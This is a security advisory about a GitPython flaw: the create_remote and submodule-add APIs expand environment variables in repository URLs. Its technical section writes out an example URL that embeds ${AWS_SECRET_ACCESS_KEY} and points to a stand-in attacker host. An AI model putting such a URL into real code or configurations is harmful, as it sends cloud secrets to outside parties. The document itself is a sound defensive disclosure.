Executive brief
GitPython is a Python library for interacting with Git repositories. When developers use the public Repo.create_remote() or Submodule.add() APIs to add a remote repository from a URL, GitPython expands environment variable tokens (like ${AWS_SECRET_ACCESS_KEY}) in that URL before storing it in .git/config or .gitmodules. An attacker who controls the URL—for example, through a supply-chain compromise or social engineering—can steal secrets from the hosting environment by crafting URLs with embedded variable references that get transmitted to attacker-controlled servers during fetch or pull operations.
Technical details
GitPython's Git.polish_url() helper function expands shell-style environment variable references using os.path.expandvars() by default. A prior fix (GHSA-rwj8-pgh3-r573) added an expand_vars parameter and disabled it in Repo.clone_from(), but the same expansion still occurs in Remote.create() (called via Repo.create_remote()) and Submodule.add() because those callers invoke polish_url() with the default expand_vars=True. An attacker can supply a URL like http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git, which gets expanded to embed the process secret into .git/config or .gitmodules, then transmitted to the attacker's host when git fetch or pull is run. The vulnerability requires the attacker to control the URL passed to these public APIs (e.g., via a compromised dependency or social engineering) but needs no authentication or special user interaction beyond a normal fetch/pull operation. Patches are available in GitPython 3.1.55 and later.
Affected products
- GitPython GitPython before 3.1.55
Timeline
- 2026-07-23: disclosed
- 2026-07-16: patched